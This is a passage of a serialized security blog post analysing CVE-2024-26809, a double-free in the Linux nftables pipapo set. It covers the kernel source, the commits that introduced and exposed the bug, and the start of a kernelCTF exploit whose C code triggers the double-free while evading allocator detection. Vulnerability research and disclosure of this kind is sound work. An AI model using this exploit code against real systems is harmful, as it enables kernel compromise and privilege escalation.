",{"type":24,"tag":327,"props":60049,"children":60050},{"style":381},[60051],{"type":29,"value":469},{"type":24,"tag":327,"props":60053,"children":60054},{"style":356},[60055],{"type":29,"value":56292},{"type":24,"tag":327,"props":60057,"children":60058},{"style":346},[60059],{"type":29,"value":852},{"type":24,"tag":327,"props":60061,"children":60062},{"class":329,"line":538},[60063],{"type":24,"tag":327,"props":60064,"children":60065},{"style":346},[60066],{"type":29,"value":18427},{"type":24,"tag":327,"props":60068,"children":60069},{"class":329,"line":547},[60070],{"type":24,"tag":327,"props":60071,"children":60072},{"style":346},[60073],{"type":29,"value":17865},{"type":24,"tag":327,"props":60075,"children":60076},{"class":329,"line":557},[60077,60081,60086,60090],{"type":24,"tag":327,"props":60078,"children":60079},{"style":340},[60080],{"type":29,"value":59719},{"type":24,"tag":327,"props":60082,"children":60083},{"style":346},[60084],{"type":29,"value":60085},"(trans, next, ",{"type":24,"tag":327,"props":60087,"children":60088},{"style":381},[60089],{"type":29,"value":8716},{"type":24,"tag":327,"props":60091,"children":60092},{"style":346},[60093],{"type":29,"value":60094},"head, list) {\n",{"type":24,"tag":327,"props":60096,"children":60097},{"class":329,"line":586},[60098,60103],{"type":24,"tag":327,"props":60099,"children":60100},{"style":340},[60101],{"type":29,"value":60102},"  nft_trans_list_del",{"type":24,"tag":327,"props":60104,"children":60105},{"style":346},[60106],{"type":29,"value":60107},"(trans);\n",{"type":24,"tag":327,"props":60109,"children":60110},{"class":329,"line":1017},[60111,60116],{"type":24,"tag":327,"props":60112,"children":60113},{"style":340},[60114],{"type":29,"value":60115},"  nft_commit_release",{"type":24,"tag":327,"props":60117,"children":60118},{"style":346},[60119],{"type":29,"value":60107},{"type":24,"tag":327,"props":60121,"children":60122},{"class":329,"line":1026},[60123],{"type":24,"tag":327,"props":60124,"children":60125},{"style":346},[60126],{"type":29,"value":1949},{"type":24,"tag":327,"props":60128,"children":60129},{"class":329,"line":1048},[60130],{"type":24,"tag":327,"props":60131,"children":60132},{"style":346},[60133],{"type":29,"value":592},{"type":24,"tag":327,"props":60135,"children":60136},{"class":329,"line":1067},[60137],{"type":24,"tag":327,"props":60138,"children":60139},{"style":346},[60140],{"type":29,"value":17865},{"type":24,"tag":327,"props":60142,"children":60143},{"class":329,"line":1075},[60144,60148,60152,60157,60161,60165,60170,60174,60178],{"type":24,"tag":327,"props":60145,"children":60146},{"style":334},[60147],{"type":29,"value":57765},{"type":24,"tag":327,"props":60149,"children":60150},{"style":334},[60151],{"type":29,"value":57770},{"type":24,"tag":327,"props":60153,"children":60154},{"style":340},[60155],{"type":29,"value":60156}," nft_commit_release",{"type":24,"tag":327,"props":60158,"children":60159},{"style":346},[60160],{"type":29,"value":349},{"type":24,"tag":327,"props":60162,"children":60163},{"style":334},[60164],{"type":29,"value":2195},{"type":24,"tag":327,"props":60166,"children":60167},{"style":346},[60168],{"type":29,"value":60169}," nft_trans ",{"type":24,"tag":327,"props":60171,"children":60172},{"style":381},[60173],{"type":29,"value":469},{"type":24,"tag":327,"props":60175,"children":60176},{"style":356},[60177],{"type":29,"value":59282},{"type":24,"tag":327,"props":60179,"children":60180},{"style":346},[60181],{"type":29,"value":852},{"type":24,"tag":327,"props":60183,"children":60184},{"class":329,"line":1084},[60185],{"type":24,"tag":327,"props":60186,"children":60187},{"style":346},[60188],{"type":29,"value":18427},{"type":24,"tag":327,"props":60190,"children":60191},{"class":329,"line":1100},[60192,60197,60201,60205,60209,60213],{"type":24,"tag":327,"props":60193,"children":60194},{"style":425},[60195],{"type":29,"value":60196}," switch",{"type":24,"tag":327,"props":60198,"children":60199},{"style":346},[60200],{"type":29,"value":5894},{"type":24,"tag":327,"props":60202,"children":60203},{"style":356},[60204],{"type":29,"value":59282},{"type":24,"tag":327,"props":60206,"children":60207},{"style":346},[60208],{"type":29,"value":1679},{"type":24,"tag":327,"props":60210,"children":60211},{"style":356},[60212],{"type":29,"value":59320},{"type":24,"tag":327,"props":60214,"children":60215},{"style":346},[60216],{"type":29,"value":364},{"type":24,"tag":327,"props":60218,"children":60219},{"class":329,"line":1128},[60220],{"type":24,"tag":327,"props":60221,"children":60222},{"style":346},[60223],{"type":29,"value":17865},{"type":24,"tag":327,"props":60225,"children":60226},{"class":329,"line":1148},[60227,60232],{"type":24,"tag":327,"props":60228,"children":60229},{"style":425},[60230],{"type":29,"value":60231}," case",{"type":24,"tag":327,"props":60233,"children":60234},{"style":346},[60235],{"type":29,"value":60236}," NFT_MSG_DELSET:\n",{"type":24,"tag":327,"props":60238,"children":60239},{"class":329,"line":1176},[60240,60244],{"type":24,"tag":327,"props":60241,"children":60242},{"style":425},[60243],{"type":29,"value":60231},{"type":24,"tag":327,"props":60245,"children":60246},{"style":346},[60247],{"type":29,"value":60248}," NFT_MSG_DESTROYSET:\n",{"type":24,"tag":327,"props":60250,"children":60251},{"class":329,"line":1184},[60252,60257,60261,60265,60269,60273,60277,60281,60285],{"type":24,"tag":327,"props":60253,"children":60254},{"style":340},[60255],{"type":29,"value":60256},"  nft_set_destroy",{"type":24,"tag":327,"props":60258,"children":60259},{"style":346},[60260],{"type":29,"value":349},{"type":24,"tag":327,"props":60262,"children":60263},{"style":381},[60264],{"type":29,"value":8716},{"type":24,"tag":327,"props":60266,"children":60267},{"style":346},[60268],{"type":29,"value":59282},{"type":24,"tag":327,"props":60270,"children":60271},{"style":381},[60272],{"type":29,"value":1679},{"type":24,"tag":327,"props":60274,"children":60275},{"style":356},[60276],{"type":29,"value":1631},{"type":24,"tag":327,"props":60278,"children":60279},{"style":346},[60280],{"type":29,"value":2744},{"type":24,"tag":327,"props":60282,"children":60283},{"style":340},[60284],{"type":29,"value":59248},{"type":24,"tag":327,"props":60286,"children":60287},{"style":346},[60288],{"type":29,"value":60289},"(trans));\n",{"type":24,"tag":327,"props":60291,"children":60292},{"class":329,"line":1192},[60293],{"type":24,"tag":327,"props":60294,"children":60295},{"style":346},[60296],{"type":29,"value":17865},{"type":24,"tag":327,"props":60298,"children":60299},{"class":329,"line":1212},[60300],{"type":24,"tag":327,"props":60301,"children":60302},{"style":346},[60303],{"type":29,"value":592},{"type":24,"tag":327,"props":60305,"children":60306},{"class":329,"line":4841},[60307],{"type":24,"tag":327,"props":60308,"children":60309},{"style":346},[60310],{"type":29,"value":17865},{"type":24,"tag":327,"props":60312,"children":60313},{"class":329,"line":4862},[60314,60318,60322,60327,60331,60335,60339,60343,60347,60352,60356,60360,60364],{"type":24,"tag":327,"props":60315,"children":60316},{"style":334},[60317],{"type":29,"value":57765},{"type":24,"tag":327,"props":60319,"children":60320},{"style":334},[60321],{"type":29,"value":57770},{"type":24,"tag":327,"props":60323,"children":60324},{"style":340},[60325],{"type":29,"value":60326}," nft_set_destroy",{"type":24,"tag":327,"props":60328,"children":60329},{"style":346},[60330],{"type":29,"value":349},{"type":24,"tag":327,"props":60332,"children":60333},{"style":334},[60334],{"type":29,"value":17202},{"type":24,"tag":327,"props":60336,"children":60337},{"style":334},[60338],{"type":29,"value":2529},{"type":24,"tag":327,"props":60340,"children":60341},{"style":346},[60342],{"type":29,"value":57792},{"type":24,"tag":327,"props":60344,"children":60345},{"style":381},[60346],{"type":29,"value":469},{"type":24,"tag":327,"props":60348,"children":60349},{"style":346},[60350],{"type":29,"value":60351},"ctx, ",{"type":24,"tag":327,"props":60353,"children":60354},{"style":334},[60355],{"type":29,"value":2195},{"type":24,"tag":327,"props":60357,"children":60358},{"style":346},[60359],{"type":29,"value":57820},{"type":24,"tag":327,"props":60361,"children":60362},{"style":381},[60363],{"type":29,"value":469},{"type":24,"tag":327,"props":60365,"children":60366},{"style":346},[60367],{"type":29,"value":60368},"set)\n",{"type":24,"tag":327,"props":60370,"children":60371},{"class":329,"line":4870},[60372],{"type":24,"tag":327,"props":60373,"children":60374},{"style":346},[60375],{"type":29,"value":18427},{"type":24,"tag":327,"props":60377,"children":60378},{"class":329,"line":4879},[60379],{"type":24,"tag":327,"props":60380,"children":60381},{"style":346},[60382],{"type":29,"value":17865},{"type":24,"tag":327,"props":60384,"children":60385},{"class":329,"line":4913},[60386,60390,60394,60398,60402,60407],{"type":24,"tag":327,"props":60387,"children":60388},{"style":356},[60389],{"type":29,"value":59807},{"type":24,"tag":327,"props":60391,"children":60392},{"style":346},[60393],{"type":29,"value":1679},{"type":24,"tag":327,"props":60395,"children":60396},{"style":356},[60397],{"type":29,"value":59391},{"type":24,"tag":327,"props":60399,"children":60400},{"style":346},[60401],{"type":29,"value":1679},{"type":24,"tag":327,"props":60403,"children":60404},{"style":340},[60405],{"type":29,"value":60406},"destroy",{"type":24,"tag":327,"props":60408,"children":60409},{"style":346},[60410],{"type":29,"value":60411},"(ctx, set);\n",{"type":24,"tag":327,"props":60413,"children":60414},{"class":329,"line":4938},[60415],{"type":24,"tag":327,"props":60416,"children":60417},{"style":346},[60418],{"type":29,"value":17865},{"type":24,"tag":327,"props":60420,"children":60421},{"class":329,"line":4974},[60422],{"type":24,"tag":327,"props":60423,"children":60424},{"style":346},[60425],{"type":29,"value":592},{"type":24,"tag":25,"props":60427,"children":60428},{},[60429,60431,60436,60438,60443,60445,60451,60453,60458,60460,60465,60467,60471,60473,60478,60479,60483,60485,60491],{"type":29,"value":60430},"It may appear as if it would be impossible to make ",{"type":24,"tag":284,"props":60432,"children":60434},{"className":60433},[],[60435],{"type":29,"value":57694},{"type":29,"value":60437}," true in the release step because the ",{"type":24,"tag":284,"props":60439,"children":60441},{"className":60440},[],[60442],{"type":29,"value":59066},{"type":29,"value":60444}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":24,"tag":284,"props":60446,"children":60448},{"className":60447},[],[60449],{"type":29,"value":60450},"set->dead",{"type":29,"value":60452}," flag. If a ",{"type":24,"tag":284,"props":60454,"children":60456},{"className":60455},[],[60457],{"type":29,"value":57740},{"type":29,"value":60459}," was marked for deletion, it receives the ",{"type":24,"tag":284,"props":60461,"children":60463},{"className":60462},[],[60464],{"type":29,"value":60450},{"type":29,"value":60466}," flag ",{"type":24,"tag":327,"props":60468,"children":60469},{},[60470],{"type":29,"value":10731},{"type":29,"value":60472},". If this flag is set, then the commit path will skip any commitments to this ",{"type":24,"tag":284,"props":60474,"children":60476},{"className":60475},[],[60477],{"type":29,"value":57740},{"type":29,"value":14024},{"type":24,"tag":327,"props":60480,"children":60481},{},[60482],{"type":29,"value":25038},{"type":29,"value":60484},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":24,"tag":284,"props":60486,"children":60488},{"className":60487},[],[60489],{"type":29,"value":60490},"priv ->dirty",{"type":29,"value":60492}," flag is not cleared when it should have been.",{"type":24,"tag":228,"props":60494,"children":60496},{"id":60495},"tracing-the-guilty-commit",[60497],{"type":29,"value":60498},"Tracing the guilty commit",{"type":24,"tag":25,"props":60500,"children":60501},{},[60502,60504,60511,60513,60519,60521,60526,60528,60534],{"type":29,"value":60503},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":24,"tag":57,"props":60505,"children":60508},{"href":60506,"rel":60507},"https://ubuntu.com/security/CVE-2024-26809",[61],[60509],{"type":29,"value":60510},"advisories",{"type":29,"value":60512}," about this vulnerability will say it was introduced by this ",{"type":24,"tag":57,"props":60514,"children":60517},{"href":60515,"rel":60516},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[61],[60518],{"type":29,"value":59400},{"type":29,"value":60520},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":24,"tag":284,"props":60522,"children":60524},{"className":60523},[],[60525],{"type":29,"value":60450},{"type":29,"value":60527}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":24,"tag":57,"props":60529,"children":60532},{"href":60530,"rel":60531},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[61],[60533],{"type":29,"value":59400},{"type":29,"value":66},{"type":24,"tag":25,"props":60536,"children":60537},{},[60538],{"type":29,"value":60539},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":24,"tag":317,"props":60541,"children":60545},{"className":60542,"code":60543,"language":60544,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[60546],{"type":24,"tag":284,"props":60547,"children":60548},{"__ignoreMap":7},[60549,60557,60565,60572,60580,60588,60595,60603,60610,60618,60626,60633,60641,60649,60657,60665,60673,60681,60689,60697,60705,60712,60720,60728,60735,60743,60751,60759,60767,60775,60782,60790,60798],{"type":24,"tag":327,"props":60550,"children":60551},{"class":329,"line":330},[60552],{"type":24,"tag":327,"props":60553,"children":60554},{},[60555],{"type":29,"value":60556},"New elements that reside in the clone are not released in case that the\n",{"type":24,"tag":327,"props":60558,"children":60559},{"class":329,"line":367},[60560],{"type":24,"tag":327,"props":60561,"children":60562},{},[60563],{"type":29,"value":60564},"transaction is aborted.\n",{"type":24,"tag":327,"props":60566,"children":60567},{"class":329,"line":408},[60568],{"type":24,"tag":327,"props":60569,"children":60570},{"emptyLinePlaceholder":16},[60571],{"type":29,"value":544},{"type":24,"tag":327,"props":60573,"children":60574},{"class":329,"line":421},[60575],{"type":24,"tag":327,"props":60576,"children":60577},{},[60578],{"type":29,"value":60579},"[16302.231754] ------------[ cut here ]------------\n",{"type":24,"tag":327,"props":60581,"children":60582},{"class":329,"line":450},[60583],{"type":24,"tag":327,"props":60584,"children":60585},{},[60586],{"type":29,"value":60587},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":327,"props":60589,"children":60590},{"class":329,"line":481},[60591],{"type":24,"tag":327,"props":60592,"children":60593},{},[60594],{"type":29,"value":17865},{"type":24,"tag":327,"props":60596,"children":60597},{"class":329,"line":500},[60598],{"type":24,"tag":327,"props":60599,"children":60600},{},[60601],{"type":29,"value":60602},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":24,"tag":327,"props":60604,"children":60605},{"class":329,"line":529},[60606],{"type":24,"tag":327,"props":60607,"children":60608},{},[60609],{"type":29,"value":17865},{"type":24,"tag":327,"props":60611,"children":60612},{"class":329,"line":538},[60613],{"type":24,"tag":327,"props":60614,"children":60615},{},[60616],{"type":29,"value":60617},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":327,"props":60619,"children":60620},{"class":329,"line":547},[60621],{"type":24,"tag":327,"props":60622,"children":60623},{},[60624],{"type":29,"value":60625},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":24,"tag":327,"props":60627,"children":60628},{"class":329,"line":557},[60629],{"type":24,"tag":327,"props":60630,"children":60631},{},[60632],{"type":29,"value":17865},{"type":24,"tag":327,"props":60634,"children":60635},{"class":329,"line":586},[60636],{"type":24,"tag":327,"props":60637,"children":60638},{},[60639],{"type":29,"value":60640},"[16302.231917] Call Trace:\n",{"type":24,"tag":327,"props":60642,"children":60643},{"class":329,"line":1017},[60644],{"type":24,"tag":327,"props":60645,"children":60646},{},[60647],{"type":29,"value":60648},"[16302.231919]  \u003CTASK>\n",{"type":24,"tag":327,"props":60650,"children":60651},{"class":329,"line":1026},[60652],{"type":24,"tag":327,"props":60653,"children":60654},{},[60655],{"type":29,"value":60656},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":24,"tag":327,"props":60658,"children":60659},{"class":329,"line":1048},[60660],{"type":24,"tag":327,"props":60661,"children":60662},{},[60663],{"type":29,"value":60664},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":24,"tag":327,"props":60666,"children":60667},{"class":329,"line":1067},[60668],{"type":24,"tag":327,"props":60669,"children":60670},{},[60671],{"type":29,"value":60672},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":24,"tag":327,"props":60674,"children":60675},{"class":329,"line":1075},[60676],{"type":24,"tag":327,"props":60677,"children":60678},{},[60679],{"type":29,"value":60680},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":24,"tag":327,"props":60682,"children":60683},{"class":329,"line":1084},[60684],{"type":24,"tag":327,"props":60685,"children":60686},{},[60687],{"type":29,"value":60688},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":24,"tag":327,"props":60690,"children":60691},{"class":329,"line":1100},[60692],{"type":24,"tag":327,"props":60693,"children":60694},{},[60695],{"type":29,"value":60696},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":24,"tag":327,"props":60698,"children":60699},{"class":329,"line":1128},[60700],{"type":24,"tag":327,"props":60701,"children":60702},{},[60703],{"type":29,"value":60704},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":24,"tag":327,"props":60706,"children":60707},{"class":329,"line":1148},[60708],{"type":24,"tag":327,"props":60709,"children":60710},{"emptyLinePlaceholder":16},[60711],{"type":29,"value":544},{"type":24,"tag":327,"props":60713,"children":60714},{"class":329,"line":1176},[60715],{"type":24,"tag":327,"props":60716,"children":60717},{},[60718],{"type":29,"value":60719},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":24,"tag":327,"props":60721,"children":60722},{"class":329,"line":1184},[60723],{"type":24,"tag":327,"props":60724,"children":60725},{},[60726],{"type":29,"value":60727},"elements in the lookup tables.\n",{"type":24,"tag":327,"props":60729,"children":60730},{"class":329,"line":1192},[60731],{"type":24,"tag":327,"props":60732,"children":60733},{"emptyLinePlaceholder":16},[60734],{"type":29,"value":544},{"type":24,"tag":327,"props":60736,"children":60737},{"class":329,"line":1212},[60738],{"type":24,"tag":327,"props":60739,"children":60740},{},[60741],{"type":29,"value":60742},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":24,"tag":327,"props":60744,"children":60745},{"class":329,"line":4841},[60746],{"type":24,"tag":327,"props":60747,"children":60748},{},[60749],{"type":29,"value":60750},"cloned matching data if priv->dirty is set, because that means that\n",{"type":24,"tag":327,"props":60752,"children":60753},{"class":329,"line":4862},[60754],{"type":24,"tag":327,"props":60755,"children":60756},{},[60757],{"type":29,"value":60758},"cloned data might point to additional elements we did not commit to the\n",{"type":24,"tag":327,"props":60760,"children":60761},{"class":329,"line":4870},[60762],{"type":24,"tag":327,"props":60763,"children":60764},{},[60765],{"type":29,"value":60766},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":24,"tag":327,"props":60768,"children":60769},{"class":329,"line":4879},[60770],{"type":24,"tag":327,"props":60771,"children":60772},{},[60773],{"type":29,"value":60774},"to it).\"\n",{"type":24,"tag":327,"props":60776,"children":60777},{"class":329,"line":4913},[60778],{"type":24,"tag":327,"props":60779,"children":60780},{"emptyLinePlaceholder":16},[60781],{"type":29,"value":544},{"type":24,"tag":327,"props":60783,"children":60784},{"class":329,"line":4938},[60785],{"type":24,"tag":327,"props":60786,"children":60787},{},[60788],{"type":29,"value":60789},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":24,"tag":327,"props":60791,"children":60792},{"class":329,"line":4974},[60793],{"type":24,"tag":327,"props":60794,"children":60795},{},[60796],{"type":29,"value":60797},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":24,"tag":327,"props":60799,"children":60800},{"class":329,"line":4982},[60801],{"type":24,"tag":327,"props":60802,"children":60803},{},[60804],{"type":29,"value":60805},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":24,"tag":25,"props":60807,"children":60808},{},[60809,60811,60816,60818,60823,60825,60830,60832,60837],{"type":29,"value":60810},"As we previously discussed, committing changes to a pipapo ",{"type":24,"tag":284,"props":60812,"children":60814},{"className":60813},[],[60815],{"type":29,"value":57740},{"type":29,"value":60817}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":24,"tag":284,"props":60819,"children":60821},{"className":60820},[],[60822],{"type":29,"value":59066},{"type":29,"value":60824}," method by simply replacing the ",{"type":24,"tag":284,"props":60826,"children":60828},{"className":60827},[],[60829],{"type":29,"value":57740},{"type":29,"value":60831},"s match object with its updated clone. So checking the ",{"type":24,"tag":284,"props":60833,"children":60835},{"className":60834},[],[60836],{"type":29,"value":57694},{"type":29,"value":60838}," flag and then calling free again ensures we also free uncommitted changes.",{"type":24,"tag":25,"props":60840,"children":60841},{},[60842,60844,60849],{"type":29,"value":60843},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":24,"tag":284,"props":60845,"children":60847},{"className":60846},[],[60848],{"type":29,"value":57740},{"type":29,"value":60850},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":24,"tag":25,"props":60852,"children":60853},{},[60854,60856,60862,60864,60869,60871,60876],{"type":29,"value":60855},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":24,"tag":284,"props":60857,"children":60859},{"className":60858},[],[60860],{"type":29,"value":60861},"set->ops->destroy()",{"type":29,"value":60863}," could be called without clearing the ",{"type":24,"tag":284,"props":60865,"children":60867},{"className":60866},[],[60868],{"type":29,"value":57694},{"type":29,"value":60870}," flag, which was fine considering you didn't have duplicated views of the ",{"type":24,"tag":284,"props":60872,"children":60874},{"className":60873},[],[60875],{"type":29,"value":57732},{"type":29,"value":60877},"s, so they would all be in the clone set.",{"type":24,"tag":25,"props":60879,"children":60880},{},[60881,60883,60888],{"type":29,"value":60882},"But when the ",{"type":24,"tag":284,"props":60884,"children":60886},{"className":60885},[],[60887],{"type":29,"value":60450},{"type":29,"value":60889}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":24,"tag":25,"props":60891,"children":60892},{},[60893],{"type":29,"value":60894},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":24,"tag":228,"props":60896,"children":60898},{"id":60897},"kernelctf-exploit",[60899],{"type":29,"value":60900},"KernelCTF exploit",{"type":24,"tag":25,"props":60902,"children":60903},{},[60904,60906,60912,60914,60921],{"type":29,"value":60905},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":24,"tag":284,"props":60907,"children":60909},{"className":60908},[],[60910],{"type":29,"value":60911},"nft_object + udata",{"type":29,"value":60913}," technique shared by lonial con in a ",{"type":24,"tag":57,"props":60915,"children":60918},{"href":60916,"rel":60917},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[61],[60919],{"type":29,"value":60920},"previous kernelCTF exploit",{"type":29,"value":66},{"type":24,"tag":235,"props":60923,"children":60925},{"id":60924},"trigger-uafavoid-double-free-detection",[60926],{"type":29,"value":60927},"Trigger UAF/avoid double-free detection",{"type":24,"tag":25,"props":60929,"children":60930},{},[60931,60933,60939,60941,60947],{"type":29,"value":60932},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":24,"tag":284,"props":60934,"children":60936},{"className":60935},[],[60937],{"type":29,"value":60938},"nft_set_pipapo_match_destroy",{"type":29,"value":60940}," iterates over the ",{"type":24,"tag":284,"props":60942,"children":60944},{"className":60943},[],[60945],{"type":29,"value":60946},"setelems",{"type":29,"value":60948}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":24,"tag":175,"props":60950,"children":60951},{},[60952,60957,60962,60967],{"type":24,"tag":179,"props":60953,"children":60954},{},[60955],{"type":29,"value":60956},"Element A gets freed",{"type":24,"tag":179,"props":60958,"children":60959},{},[60960],{"type":29,"value":60961},"Element B gets free",{"type":24,"tag":179,"props":60963,"children":60964},{},[60965],{"type":29,"value":60966},"Element A gets freed again (double-free)",{"type":24,"tag":179,"props":60968,"children":60969},{},[60970],{"type":29,"value":60971},"Element B gets freed again (double-free)",{"type":24,"tag":317,"props":60973,"children":60975},{"className":35818,"code":60974,"language":35820,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[60976],{"type":24,"tag":284,"props":60977,"children":60978},{"__ignoreMap":7},[60979,60986,61047,61054,61061,61069,61076,61083,61091,61115,61136,61170,61231,61238,61246,61298,61305,61331,61358,61397,61426,61455,61477,61484,61491,61498,61506,61513,61521,61534,61547,61567,61574,61582,61604,61636,61681,61717,61745,61752,61759,61767,61774,61790,61797],{"type":24,"tag":327,"props":60980,"children":60981},{"class":329,"line":330},[60982],{"type":24,"tag":327,"props":60983,"children":60984},{"style":346},[60985],{"type":29,"value":17865},{"type":24,"tag":327,"props":60987,"children":60988},{"class":329,"line":367},[60989,60994,60998,61003,61007,61012,61016,61021,61026,61030,61034,61038,61043],{"type":24,"tag":327,"props":60990,"children":60991},{"style":346},[60992],{"type":29,"value":60993},"static void trigger_uaf(",{"type":24,"tag":327,"props":60995,"children":60996},{"style":334},[60997],{"type":29,"value":2195},{"type":24,"tag":327,"props":60999,"children":61000},{"style":1639},[61001],{"type":29,"value":61002}," 